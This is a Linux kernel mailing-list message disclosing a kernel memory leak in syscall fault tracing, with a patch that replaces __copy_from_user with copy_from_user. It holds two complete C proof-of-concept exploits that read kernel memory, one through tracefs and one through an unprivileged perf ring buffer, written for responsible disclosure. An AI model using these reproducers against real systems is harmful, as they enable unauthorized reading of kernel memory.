Re: [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing
flat view
From: Wang Haoran <hidden>
Date: 2026-10-15 12:06:03
Also in:
lkml
Subsystem:
the rest, tracing · Maintainers:
Linus Torvalds, Steven Rostedt, Masami Hiramatsu
From ca4e2a6928bbd9010ebec967440517b08909b992 Mon Sep 17 00:00:00 2001 From: Haoran Wang <redacted> Date: Thu, 15 Oct 2026 19:12:21 +0800 Subject: [PATCH] tracing/syscalls: use copy_from_user for the faultable syscall buffer Here is a working fix for the report. The leak is not strictly root only, so there is a security concern on systems that relax perf_event_paranoid. syscall_copy_user_array() copies the raw buffer argument of faultable syscalls such as write and pwrite64 with __copy_from_user, which skips the access_ok check. A traced process that calls write(fd, kernel_addr, count) therefore has up to SYSCALL_FAULT_USER_MAX bytes of kernel memory copied into the sys_enter trace record at the tracepoint, before vfs_write performs its own access_ok and returns EFAULT. The copied bytes reach two buffers. The ftrace path stores them in the ftrace ring buffer, which only root can read because tracefs is root only by default. The perf path stores them in the perf ring buffer of the process that owns the tracepoint event, which a non root process can mmap for its own event. That perf path is gated only by perf_allow_tracepoint, which a zero capability user passes when perf_event_paranoid is set to -1. At that same setting kallsyms_show_value also exposes kernel addresses to non root users through /proc/kallsyms, so on systems that relax perf_event_paranoid the leak becomes an unprivileged kernel memory read into the attacker's own ring buffer. Use copy_from_user instead so an address outside the user range is rejected by access_ok and the entry is recorded as faulted, with no kernel memory entering the trace record. Full analysis and both reproducers (the ftrace path and the perf path) are below. Signed-off-by: Haoran Wang <redacted> --- I'd like to report an issue in kernel/trace/trace_syscalls.c:686 (function syscall_copy_user_array), found via static analysis of Linux 7.0.11 and verified against the 7.2.10 source tree. I have reproduced the leak on an 7.2.10 kernel. 1. Summary The "syscall fault tracing" feature (added in 7.0, CONFIG_FTRACE_SYSCALLS) treats the raw syscall argument args[1] (the buffer pointer) of faultable syscalls (write/pwrite64/ mq_timedsend) as a user address and copies it with __copy_from_user(buf, args[1], size) without an access_ok() check. When a traced process calls write(fd, <kernel address>, count), the sys_enter tracepoint fires before vfs_write's access_ok and __copy_from_user copies up to 165 bytes from that kernel address into the per-CPU trace buffer, which is appended to the sys_enter_write event and readable from /sys/kernel/tracing/trace. The write() itself then returns EFAULT, but the leak is already complete. copy_from_user() would have rejected a kernel address via access_ok(); __copy_from_user() does not. 2. Vulnerable code - File: kernel/trace/trace_syscalls.c:686 (Linux 7.0.11; :685 in 7.2.10) - Function: syscall_copy_user_array - Misused API: __copy_from_user
/* syscall_copy_user_array() - syscall fault tracing */
__copy_from_user(buf, ptr, size); /* ptr = args[1] (raw syscall buffer arg), no access_ok() */
3. Root cause __copy_from_user() is the access_ok()-skipping variant of copy_from_user(). The syscall fault tracing feature marks write/pwrite64/mq_timedsend as faultable: check_faultable_syscall() sets user_mask = BIT(1) (the buffer argument) and user_arg_size = 2 (the count argument). When such a syscall is ftrace-traced, sys_fault_user() takes the syscall's *raw* argument args[1] (the buffer-pointer register value) as a user address and, via syscall_copy_user_array(), calls __copy_from_user(buf, args[1], size) with no access_ok(). Because args[1] is the raw register value captured at the sys_enter tracepoint (before vfs_write performs its own access_ok on the buffer), a traced process can supply a kernel address there; __copy_from_user dereferences it directly and copies up to SYSCALL_FAULT_USER_MAX (165) bytes of kernel memory into the per-CPU trace buffer. The content appears in the sys_enter_write trace event and is readable from /sys/kernel/tracing/trace. The actual write() then fails with EFAULT (vfs_write's access_ok rejects the kernel address), but the leak has already happened in the tracepoint. This differs from the trace.c:6836 site (tracing_mark_write), where the VFS layer's access_ok (vfs_write at fs/read_write.c:676) guards the buffer before the ftrace .write handler runs. Here the leak happens at the sys_enter tracepoint, which fires *before* vfs_write's access_ok, so there is no upstream guard on args[1]. 4. Affected versions Present in: Linux 7.0.11. 7.2.10: still present, unfixed -- reproduced on an 7.2.10 kernel. 5. Trigger / Preconditions root / CAP_SYS_ADMIN / CAP_PERFMON (needed to enable syscall tracing via tracefs; on the test machine /proc/sys/kernel/perf_event_paranoid = 2 and tracefs is root-writable), plus CONFIG_FTRACE_SYSCALLS. The traced process calls write(fd, <kernel address>, count) while sys_enter_write tracing is enabled. 6. Proof of Concept Reproduced on a pristine Linux 7.2.10 kernel (CONFIG_FTRACE_SYSCALLS=y, config-only). The traced process calls write(devnull, linux_banner_addr, 200), the sys_enter_write trace event then contains the leaked linux_banner string. Concrete reproduced evidence (version 7.2.10): - The sys_enter_write trace event contains the leaked linux_banner hex blob and ASCII string; decoding matches /proc/version. - Decoded leaked content begins: "Linux version 7.2.10 (root@xxx) (gcc (Ubuntu 15.2.0-16ubuntu1) ...", which exactly matches /proc/version on the test kernel. - write() itself returns EFAULT (vfs_write access_ok rejects the kernel address), but the kernel-memory copy into the trace buffer has already completed in the sys_enter tracepoint.
/*
*
* Build: gcc -O2 -o poc_syscall_fault_leak poc_syscall_fault_leak.c
* Run: sudo ./poc_syscall_fault_leak
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdint.h>
#define TRACEFS "/sys/kernel/tracing"
#define EVT TRACEFS "/events/syscalls/sys_enter_write"
static int write_file(const char *path, const char *val)
{
int fd = open(path, O_WRONLY);
if (fd < 0)
return -1;
if (write(fd, val, strlen(val)) < 0) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static unsigned long lookup_sym(const char *sym)
{
FILE *f = fopen("/proc/kallsyms", "r");
if (!f)
return 0;
char line[256], name[128];
unsigned long a;
char t;
while (fgets(line, sizeof(line), f))
if (sscanf(line, "%lx %c %127s", &a, &t, name) == 3 && a && !strcmp(name, sym)) {
fclose(f);
return a;
}
fclose(f);
return 0;
}
static char *read_file(const char *path, char *buf, size_t cap)
{
int fd = open(path, O_RDONLY);
if (fd < 0)
return NULL;
size_t total = 0;
ssize_t n;
while (total < cap - 1 && (n = read(fd, buf + total, cap - 1 - total)) > 0)
total += n;
buf[total] = 0;
close(fd);
return buf;
}
int main(void)
{
if (getuid() != 0) {
fprintf(stderr, "[-] must run as root (tracefs is root-only, perf_event_paranoid=2)\n");
return 1;
}
unsigned long kaddr = lookup_sym("linux_banner");
if (!kaddr) {
fprintf(stderr, "[-] cannot resolve linux_banner from /proc/kallsyms\n");
return 1;
}
printf("[+] target: linux_banner @ 0x%lx\n", kaddr);
printf("[+] (kernel string: \"Linux version 7.x (root@...) ...\")\n");
printf("[+] vuln site: trace_syscalls.c:686 syscall_copy_user_array -> __copy_from_user (no access_ok)\n\n");
int devnull = open("/dev/null", O_WRONLY);
if (devnull < 0) {
perror("open /dev/null");
return 1;
}
if (access(EVT "/enable", W_OK) != 0) {
fprintf(stderr, "[-] %s/enable not writable (%s)\n", EVT, strerror(errno));
fprintf(stderr, " -> CONFIG_FTRACE_SYSCALLS off, or tracefs not mounted\n");
return 1;
}
write_file(TRACEFS "/trace", "\n");
int pipefd[2];
if (pipe(pipefd) < 0) {
perror("pipe");
return 1;
}
pid_t child = fork();
if (child < 0) {
perror("fork");
return 1;
}
if (child == 0) {
close(pipefd[1]);
char c;
read(pipefd[0], &c, 1); /* wait until parent finished enabling */
close(pipefd[0]);
/*
* THE TRIGGER: write(fd, KERNEL_ADDR, 200).
* The buf argument is a kernel address. The sys_enter tracepoint
* fires before vfs_write's access_ok, and __copy_from_user copies
* directly from that kernel address -> kernel memory enters the trace.
* write() then returns EFAULT, but the leak is already complete.
*/
syscall(__NR_write, devnull, (void *)kaddr, 200);
_exit(0);
}
close(pipefd[0]);
char filter[64];
snprintf(filter, sizeof(filter), "common_pid == %d", child);
if (write_file(EVT "/filter", filter) < 0)
fprintf(stderr, "[!] set filter failed: %s\n", strerror(errno));
if (write_file(EVT "/enable", "1") < 0)
fprintf(stderr, "[!] enable event failed: %s\n", strerror(errno));
write(pipefd[1], "x", 1);
close(pipefd[1]);
waitpid(child, NULL, 0);
write_file(EVT "/enable", "0");
write_file(EVT "/filter", "0");
char buf[65536];
if (!read_file(TRACEFS "/trace", buf, sizeof(buf))) {
fprintf(stderr, "[-] cannot read trace\n");
return 1;
}
char *line = strstr(buf, "write(fd:");
if (!line) {
printf("[-] no sys_enter_write event captured.\n");
printf("--- trace dump ---\n%s\n", buf);
return 1;
}
char *eol = strchr(line, '\n');
if (eol)
*eol = 0;
printf("[+] captured sys_enter_write event:\n %s\n\n", line);
if (strstr(line, "Linux version")) {
printf("[!] ============================================================\n");
printf("[!] KERNEL MEMORY LEAK CONFIRMED at trace_syscalls.c:686\n");
printf("[!] trace event contains the kernel banner string,\n");
printf("[!] read from 0x%lx via __copy_from_user() WITHOUT access_ok()\n", kaddr);
printf("[!] ============================================================\n");
return 0;
}
char *q1 = strchr(line, '"');
if (q1) {
char *q2 = strrchr(line, '"');
if (q2 > q1) {
printf("[!] leaked ASCII segment: \"%.*s\"\n", (int)(q2 - q1 - 1), q1 + 1);
if (strstr(q1, "Linux") || strstr(q1, "version")) {
printf("[!] KERNEL MEMORY LEAK CONFIRMED\n");
return 0;
}
}
}
printf("[?] no recognizable kernel string - inspect the hex blob in the event line above.\n");
return 2;
}
7. Impact Kernel memory information leak: up to 165 bytes per faultable-syscall invocation via __copy_from_user() with no access_ok(), readable from /sys/kernel/tracing/trace. Please let me know if you need more detail. Best regards, Haoran Wang [off-list ref] Appendix: perf path reproducer The reproducer below exercises the perf path. The leaked bytes land in the caller's own perf ring buffer, which a non root process can mmap for its own tracepoint event, so the result is readable with no privilege beyond opening the event. Run it after relaxing perf_event_paranoid and exposing tracefs as shown in the header comment. Verified on a 7.2.10 kernel: a process dropped to uid 1000 with zero capabilities, with perf_event_paranoid = -1 and tracefs exposed, opens the sys_enter_write perf event, triggers write(fd, linux_banner, 200), and reads "Linux version 7.2.10 ..." from its own perf ring buffer, while write() returns EFAULT.
/*
* perf_syscall_fault_leak.c
*
* Reproducer for the PERF path of the syscall fault tracing leak.
*
* The sys_enter_write tracepoint is opened as a perf event on the
* calling process. write(fd, <kernel addr>, count) then fires that
* tracepoint before vfs_write performs access_ok, and
* syscall_copy_user_array() copies kernel memory into the perf record
* with __copy_from_user. The record lands in the caller's own perf
* ring buffer, which the process mmaps for its own event, so the
* leaked bytes are readable with no privilege beyond opening the event.
*
* Build: gcc -O2 -o perf_syscall_fault_leak perf_syscall_fault_leak.c
*
* Unprivileged case (the escalation this path enables):
* # echo -1 > /proc/sys/kernel/perf_event_paranoid
* # mount -o remount,mode=0755 /sys/kernel/tracing
* # ./perf_syscall_fault_leak # drops to uid 1000 internally
*
* The output ring is the process own mmap buffer, not
* /sys/kernel/tracing/trace, so no root is needed to read the result.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <asm/unistd.h>
static long perf_open(struct perf_event_attr *a, pid_t p, int c, int g, unsigned long f)
{
return syscall(__NR_perf_event_open, a, p, c, g, f);
}
static int drop_to_user(uid_t u)
{
if (setresgid(u, u, u) < 0 || setresuid(u, u, u) < 0) {
perror("setresuid");
return -1;
}
return 0;
}
static unsigned long read_tracepoint_id(void)
{
int fd = open("/sys/kernel/tracing/events/syscalls/sys_enter_write/id", O_RDONLY);
if (fd < 0)
return 0;
char b[32];
int n = read(fd, b, sizeof(b) - 1);
close(fd);
if (n <= 0)
return 0;
b[n] = 0;
return strtoul(b, 0, 10);
}
static unsigned long lookup_sym(const char *sym)
{
FILE *f = fopen("/proc/kallsyms", "r");
if (!f)
return 0;
char line[256], nm[128];
unsigned long a;
char t;
while (fgets(line, sizeof(line), f))
if (sscanf(line, "%lx %c %127s", &a, &t, nm) == 3 && a && !strcmp(nm, sym)) {
fclose(f);
return a;
}
fclose(f);
return 0;
}
int main(void)
{
if (geteuid() == 0) {
printf("[*] started as root, dropping to uid 1000 to exercise the unprivileged path\n");
if (drop_to_user(1000) < 0)
return 1;
}
printf("[*] running as uid=%d euid=%d\n", getuid(), geteuid());
unsigned long id = read_tracepoint_id();
if (!id) {
fprintf(stderr, "[-] cannot read the sys_enter_write tracepoint id from tracefs\n");
fprintf(stderr, " (tracefs is root only by default; expose it to read the id)\n");
return 1;
}
unsigned long kaddr = lookup_sym("linux_banner");
if (!kaddr) {
fprintf(stderr, "[-] cannot resolve linux_banner from /proc/kallsyms\n");
fprintf(stderr, " (hidden unless perf_event_paranoid <= 1 with kptr_restrict = 0)\n");
return 1;
}
printf("[+] sys_enter_write tracepoint id = %lu\n", id);
printf("[+] target linux_banner @ 0x%lx\n", kaddr);
struct perf_event_attr attr;
memset(&attr, 0, sizeof(attr));
attr.size = sizeof(attr);
attr.type = PERF_TYPE_TRACEPOINT;
attr.config = id;
attr.sample_period = 1;
attr.sample_type = PERF_SAMPLE_RAW;
attr.wakeup_events = 1;
int pfd = -1, saved = 0, cpu_used = -2;
for (int cpu = -1; cpu < 4 && pfd < 0; cpu++) {
errno = 0;
pfd = (int)perf_open(&attr, 0, cpu, -1, 0);
saved = errno;
if (pfd >= 0) {
cpu_used = cpu;
break;
}
if (saved == EPERM || saved == EACCES)
break;
}
if (pfd < 0) {
fprintf(stderr, "[-] perf_event_open failed: %s (errno=%d)\n", strerror(saved), saved);
fprintf(stderr, " (needs perf_event_paranoid = -1 or CAP_PERFMON/CAP_SYS_ADMIN)\n");
return 1;
}
printf("[+] perf_event_open ok, fd=%d, cpu=%d (no capability used)\n", pfd, cpu_used);
int ps = sysconf(_SC_PAGESIZE);
int npages = 64;
size_t mapsize = (size_t)(npages + 1) * ps;
void *base = mmap(NULL, mapsize, PROT_READ | PROT_WRITE, MAP_SHARED, pfd, 0);
if (base == MAP_FAILED) {
perror("mmap");
return 1;
}
struct perf_event_mmap_page *pc = base;
ioctl(pfd, PERF_EVENT_IOC_ENABLE, 0);
int devnull = open("/dev/null", O_WRONLY);
if (devnull < 0) {
perror("open /dev/null");
return 1;
}
printf("[+] triggering write(fd, 0x%lx, 200) ...\n", kaddr);
long wr = syscall(__NR_write, devnull, (void *)kaddr, 200);
printf("[+] write() returned %ld, errno=%d (%s)\n", wr, errno,
wr < 0 ? "vfs_write rejected the kernel addr, but the tracepoint copy already happened" : "");
close(devnull);
int found = 0;
for (int iter = 0; iter < 400 && !found; iter++) {
__sync_synchronize();
unsigned long head = pc->data_head;
unsigned long tail = pc->data_tail;
if (head == tail) {
usleep(1000);
continue;
}
unsigned char *data = (unsigned char *)base + ps;
size_t dsize = (size_t)npages * ps;
unsigned char *hit = memmem(data, dsize, "Linux version", 13);
if (hit) {
found = 1;
printf("[!] LEAK CONFIRMED in the perf ring buffer:\n ");
for (int i = 0; i < 96; i++)
putchar(isprint(hit[i]) ? hit[i] : '.');
printf("\n");
}
__sync_synchronize();
pc->data_tail = head;
}
if (!found)
printf("[-] no 'Linux version' in the perf ring buffer\n");
munmap(base, mapsize);
close(pfd);
return found ? 0 : 1;
}
--- kernel/trace/trace_syscalls.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
index 8a4f3c7..6406123 100644
--- a/kernel/trace/trace_syscalls.c
+++ b/kernel/trace/trace_syscalls.c@@ -682,7 +682,7 @@ static int syscall_copy_user_array(char *buf, const char __user *ptr,
for (int i = 0; i < args->uargs; i++, buf += SYSCALL_FAULT_ARG_SZ) {
ptr = (char __user *)args->ptr_array[i];
- ret = __copy_from_user(buf, ptr, size);
+ ret = copy_from_user(buf, ptr, size);
args->read[i] = ret ? -1 : size;
}
return 0;
--
2.43.0
在 2026/10/15 16:44, Greg KH 写道:On Thu, Oct 15, 2026 at 03:01:08PM +0800, Haoran Wang wrote:quoted
I'd like to report an issue in kernel/trace/trace_syscalls.c:686 (function syscall_copy_user_array), found via static analysis of Linux 7.0.11 and verified against the 7.2.10 source tree. I have reproduced the leak on an 7.2.10 kernel.Cool, but you forgot to also provide a working patch for this?quoted
1. Summary The "syscall fault tracing" feature (added in 7.0, CONFIG_FTRACE_SYSCALLS) treats the raw syscall argument args[1] (the buffer pointer) of faultable syscalls (write/pwrite64/ mq_timedsend) as a user address and copies it with __copy_from_user(buf, args[1], size) without an access_ok() check. When a traced process calls write(fd, <kernel address>, count), the sys_enter tracepoint fires before vfs_write's access_ok and __copy_from_user copies up to 165 bytes from that kernel address into the per-CPU trace buffer, which is appended to the sys_enter_write event and readable from /sys/kernel/tracing/trace. The write() itself then returns EFAULT, but the leak is already complete. copy_from_user() would have rejected a kernel address via access_ok(); __copy_from_user() does not.This is root-only, so there's no security issue really, right? Or am I mistaken? thanks, greg k-h